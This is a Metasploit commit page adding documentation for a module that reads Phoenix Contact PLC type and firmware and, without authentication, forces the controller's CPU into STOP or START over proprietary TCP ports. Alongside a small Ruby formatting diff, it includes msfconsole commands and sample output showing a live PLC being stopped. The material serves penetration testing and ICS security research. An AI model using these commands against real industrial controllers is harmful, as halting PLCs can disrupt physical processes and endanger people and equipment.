Skip to content

Commit 2afcda9

Browse files
author
Tijl Deneut
committed
Did some more rubocopy work and
added module documentation
1 parent 552b672 commit 2afcda9

File tree

2 files changed

+113
-6
lines changed

2 files changed

+113
-6
lines changed
Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
PhoenixContact Programmable Logic Controllers are built are using a variant of ProConOS.
2+
Communicating using a proprietary protocol over ports TCP/1962 and TCP/41100 or TCP/20547.
3+
It allows a remote user to read out the PLC Type, Firmware and Build number on port TCP/1962.
4+
And also to read out the CPU State (Running or Stopped) AND start or stop the CPU on
5+
port TCP/20547 (confirmed for the PLC series ILC 15x and 17x)
6+
or TCP/41100 (confirmed for the ILC 39x series)
7+
other series may or may not work, a very big chance that they will
8+
9+
## Vulnerable Application
10+
11+
This is a hardware zero-day vulnerability that CANNOT be patched, the only mittigation is pulling the plug (literally),
12+
adding a separate network in front of it (Firewall, Router, IDS, IPS, network segmentation, etc...)
13+
or not allowing bad people on your network
14+
15+
In general most, if not all, PLC's (computers that control engines, robots, conveyor belts, sensors, camera's, doorlocks, CRACs ...)
16+
have this vulnerability where, using their own tools, remote configuration and programming can be done *WITHOUT* authentication
17+
Investigators and underground hackers are just now creating simple tools to convert the often proprietary protocols into (simple) scripts
18+
19+
The most important word here is proprietary. Right now the only thing stopping very bad stuff from happening.
20+
PhoenixContact uses an (unnamed?) low-level protocol for connection, information exchange and configuration of its PLC devices
21+
This script utilises that protocol for finding information and switching the PLC mode from STOP to RUN and vice versa
22+
23+
## Verification Steps
24+
25+
The following demonstrates a basic scenario, we "found" two devices with an open port TCP/1962:
26+
27+
```
28+
msf > search phoenix
29+
msf > use auxiliary/admin/scada/phoenix_command
30+
msf auxiliary(phoenix_command) > set RHOST 10.66.56.12
31+
RHOST => 10.66.56.12
32+
msf auxiliary(phoenix_command) > run
33+
34+
[*] 10.66.56.12:0 - PLC Type = ILC 150 GSM/GPRS
35+
[*] 10.66.56.12:0 - Firmware = 3.71
36+
[*] 10.66.56.12:0 - Build = 07/13/11 12:00:00
37+
[*] 10.66.56.12:0 - ------------------------------------
38+
[*] 10.66.56.12:0 - --> Detected 15x/17x series, getting current CPU state:
39+
[*] 10.66.56.12:0 - CPU Mode = RUN
40+
[*] 10.66.56.12:0 - ------------------------------------
41+
[*] 10.66.56.12:0 - --> No action specified (NOOP), stopping here
42+
[*] Auxiliary module execution completed
43+
44+
msf auxiliary(phoenix_command) > set RHOST 10.66.56.72
45+
RHOST => 10.66.56.72
46+
msf auxiliary(phoenix_command) > set ACTION REV
47+
ACTION => REV
48+
msf auxiliary(phoenix_command) > run
49+
[*] 10.66.56.72:0 - PLC Type = ILC 390 PN 2TX-IB
50+
[*] 10.66.56.72:0 - Firmware = 3.95
51+
[*] 10.66.56.72:0 - Build = 02/14/11 14:04:47
52+
[*] 10.66.56.72:0 - ------------------------------------
53+
[*] 10.66.56.72:0 - --> Detected 39x series, getting current CPU state:
54+
[*] 10.66.56.72:0 - CPU Mode = RUN
55+
[*] 10.66.56.72:0 - ------------------------------------
56+
[*] 10.66.56.72:0 - --> Sending STOP now
57+
[*] 10.66.56.72:0 - CPU Mode = STOP
58+
[*] Auxiliary module execution completed
59+
```
60+
61+
## Options
62+
```
63+
msf auxiliary(phoenix_command) > show options
64+
65+
Module options (auxiliary/admin/scada/phoenix_command):
66+
67+
Name Current Setting Required Description
68+
---- --------------- -------- -----------
69+
ACTION NOOP yes PLC CPU action, REV means reverse state (Accepted: STOP, START, REV, NOOP)
70+
RHOST yes The target address
71+
RINFOPORT 1962 yes Set info port
72+
RPORT no Set action port, will try autodetect when not set
73+
```
74+
75+
By default, the module only reads out the PLC Type, Firmware version, Build date and current CPU mode (RUNning or STOPped)
76+
77+
The first three pieces of data (Type, Firmware & Build) are always found on port TCP/1962
78+
(there is no way of changing that port on the PLC, so also no reason to change the 'RINFOPORT' option)
79+
80+
The CPU mode uses a TCP port depending on the PLC Type, the module will automatically detect the type and port to use,
81+
but can be overridden with the 'RPORT' option, however no real reason to configure it.
82+
--> If 'RPORT' is set for some reason (e.g. because of an earlier "setg RPORT" command), it can be unset with:
83+
```
84+
msf auxiliary(phoenix_command) > unset RPORT
85+
Unsetting RPORT...
86+
```
87+
88+
**The ACTION option**
89+
Action only has four (4) possible values:
90+
91+
By default, the module will do nothing to the PLC, therefore No Operation or 'NOOP'
92+
```
93+
msf auxiliary(phoenix_command) > set ACTION NOOP
94+
```
95+
96+
The PLC can be forced to go into STOP mode, meaning it stops all execution and all outputs are set to low
97+
```
98+
msf auxiliary(phoenix_command) > set ACTION STOP
99+
```
100+
101+
The PLC can be forced to go into RUN mode, it keeps running it was or it will start executing its current boot programming
102+
```
103+
msf auxiliary(phoenix_command) > set ACTION START
104+
```
105+
106+
The module can also just read out the CPU mode and then reverse whatever it finds, RUN becomes STOP, STOP becomes RUN
107+
```
108+
msf auxiliary(phoenix_command) > set ACTION REV
109+
```

modules/auxiliary/admin/scada/phoenix_command.rb

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -30,8 +30,7 @@ def initialize(info = {})
3030
[ 'URL', 'https://github.com/tijldeneut/ICSSecurityScripts' ],
3131
[ 'CVE', '2014-9195']
3232
],
33-
'DisclosureDate' => 'May 20 2015'
34-
))
33+
'DisclosureDate' => 'May 20 2015'))
3534
register_options(
3635
[
3736
OptEnum.new('ACTION', [true, 'PLC CPU action, REV means reverse current CPU state', 'NOOP',
@@ -40,12 +39,11 @@ def initialize(info = {})
4039
'START',
4140
'REV',
4241
'NOOP'
43-
]
44-
]),
42+
]]),
4543
OptPort.new('RINFOPORT', [true, 'Set info port', 1962 ]),
4644
OptPort.new('RPORT', [false, 'Set action port, will try autodetect when not set' ])
47-
], self.class)
48-
45+
], self.class
46+
)
4947
end
5048

5149
# Here comes the code, hang on to your pants

0 commit comments

Comments
 (0)